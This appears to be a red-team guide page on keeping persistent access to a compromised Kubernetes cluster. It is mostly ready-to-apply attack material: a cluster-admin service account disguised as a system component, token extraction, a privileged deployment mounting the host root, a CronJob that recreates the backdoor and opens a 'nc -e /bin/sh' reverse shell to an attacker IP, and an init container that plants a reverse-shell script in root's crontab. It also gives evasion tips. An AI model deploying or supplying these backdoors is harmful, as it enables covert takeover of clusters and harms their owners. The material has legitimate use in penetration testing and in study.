# Persistence and Lateral Movement

## Overview

After gaining elevated privileges in a Kubernetes cluster, we can focus on maintaining persistent access to ensure continued control even after system updates, restarts, or security remediation attempts.

{% hint style="info" %}
Since Kubernetes relies on declarative YAML manifests, access to resource definitions or Helm charts can be enough to embed privilege escalation and persistence mechanisms directly into the cluster configuration. By modifying these files, we can explicitly define insecure settings, backdoors, or overly privileged resources that become applied automatically when the configuration is deployed.
{% endhint %}

***

## Hidden Service Account

This is one of the most basic yet effective persistence mechanisms, as it relies on human error and assumes that malicious manifests will not be carefully reviewed. By creating a service account that mimics legitimate system components and binding it to a highly privileged role, we can maintain long‑term access to the cluster.

Depending on the architecture, automated CI/CD pipelines or configuration reconciliation mechanisms may eventually overwrite or remove this persistence, but in many environments such backdoors remain unnoticed for extended periods of time.

{% hint style="info" %}
Giving `cluster-admin` to the persistence account makes it easier to detect, consider using a custom role.
{% endhint %}

**Stealth Service Account Creation:**

```yaml
# Disguised as system component
apiVersion: v1
kind: ServiceAccount
metadata:
  name: system-node-monitor
  namespace: kube-system
  labels:
    component: system-monitor
    tier: node
automountServiceAccountToken: true
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-node-monitor-binding
  labels:
    component: system-monitor
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: system-node-monitor
  namespace: kube-system
```

**Token Extraction and Storage:**

```bash
# Extract service account token
SA_SECRET=$(kubectl get sa system-node-monitor -n kube-system -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl get secret $SA_SECRET -n kube-system -o jsonpath='{.data.token}' | base64 -d)

# Store token externally
echo $TOKEN > /tmp/backdoor-token.txt

# Test token persistence
kubectl --token=$TOKEN --server=https://<api_server>:6443 --insecure-skip-tls-verify get nodes
```

***

## Periodic Service Account Token Extraction

Periodic service account token extraction is a persistence technique that focuses on **continuously harvesting valid credentials** rather than maintaining a single static backdoor. By injecting a sidecar container into an existing pod, we can periodically read the mounted service account token and exfiltrate it to a command-and-control (C2) server.

This approach is particularly effective in environments where tokens are rotated or pods are frequently recreated, as it ensures we always have access to fresh credentials while remaining relatively stealthy within legitimate workloads.

***

## Bring Your Own Persistence (BYOP)

Bring Your Own Persistence (BYOP) refers to the idea that once high privileges are obtained in a Kubernetes cluster, persistence is limited only by the our creativity. With elevated permissions, we can leverage multiple native Kubernetes mechanisms to maintain long-term access, such as:

* poisoning container images or registries
* abusing initContainers
* creating scheduled jobs (CronJobs)
* injecting malicious sidecars
* deploying legitimate but backdoored workloads and deployments

Because these techniques rely on standard Kubernetes features, they often blend into normal cluster operations and are difficult to detect without strict reviews and continuous monitoring.

{% hint style="info" %}
Just don't make them super obvious.
{% endhint %}

### Malicious Deployment Manifest

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: backdoor-deployment
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: system-monitor
  template:
    metadata:
      labels:
        app: system-monitor
    spec:
      serviceAccountName: default
      hostNetwork: true
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            # Backdoor logic here
            sleep 300
          done
        securityContext:
          privileged: true
        volumeMounts:
        - name: host-root
          mountPath: /host
        - name: host-proc
          mountPath: /host/proc
        - name: host-sys
          mountPath: /host/sys
      volumes:
      - name: host-root
        hostPath:
          path: /
      - name: host-proc
        hostPath:
          path: /proc
      - name: host-sys
        hostPath:
          path: /sys
```

### CronJob-based Persistence

```yml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-cleanup
  namespace: kube-system
  labels:
    component: system-maintenance
spec:
  schedule: "*/10 * * * *"  # Every 10 minutes
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: system-node-monitor
          restartPolicy: OnFailure
          containers:
          - name: cleanup
            image: alpine:latest
            command: ["/bin/sh"]
            args:
            - -c
            - |
              # Backdoor logic here
              
              # Ensure backdoor service account exists
              if ! kubectl get sa system-node-monitor -n kube-system > /dev/null 2>&1; then
                echo "Recreating backdoor service account..."
                kubectl apply -f - <<EOF
              apiVersion: v1
              kind: ServiceAccount
              metadata:
                name: system-node-monitor
                namespace: kube-system
              ---
              apiVersion: rbac.authorization.k8s.io/v1
              kind: ClusterRoleBinding
              metadata:
                name: system-node-monitor-binding
              roleRef:
                apiGroup: rbac.authorization.k8s.io
                kind: ClusterRole
                name: cluster-admin
              subjects:
              - kind: ServiceAccount
                name: system-node-monitor
                namespace: kube-system
              EOF
              fi
              
              # Ensure backdoor pods are running
              if ! kubectl get pods -n kube-system -l name=node-security-monitor | grep Running > /dev/null; then
                echo "Recreating backdoor pods..."
                kubectl apply -f /tmp/backdoor-daemonset.yaml
              fi
              
              # Establish reverse shell
              nc -e /bin/sh <attacker_ip> <attacker_port> &
```

### Init Containers

```yml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: web-app
spec:
  replicas: 1
  selector:
    matchLabels:
      app: web-app
  template:
    metadata:
      labels:
        app: web-app
    spec:
      initContainers:
      - name: setup
        image: alpine:latest
        command: ["/bin/sh"]
        args:
        - -c
        - |
          # Install backdoor on host
          echo '#!/bin/sh' > /host/tmp/backdoor.sh
          echo 'while true; do' >> /host/tmp/backdoor.sh
          echo '  nc -e /bin/sh <attacker_ip> <port> 2>/dev/null' >> /host/tmp/backdoor.sh
          echo '  sleep 300' >> /host/tmp/backdoor.sh
          echo 'done' >> /host/tmp/backdoor.sh
          chmod +x /host/tmp/backdoor.sh
          
          # Add to crontab
          echo '*/5 * * * * /tmp/backdoor.sh' >> /host/var/spool/cron/crontabs/root
        volumeMounts:
        - name: host-root
          mountPath: /host
        securityContext:
          privileged: true
      containers:
      - name: web
        image: nginx:latest
      volumes:
      - name: host-root
        hostPath:
          path: /
```
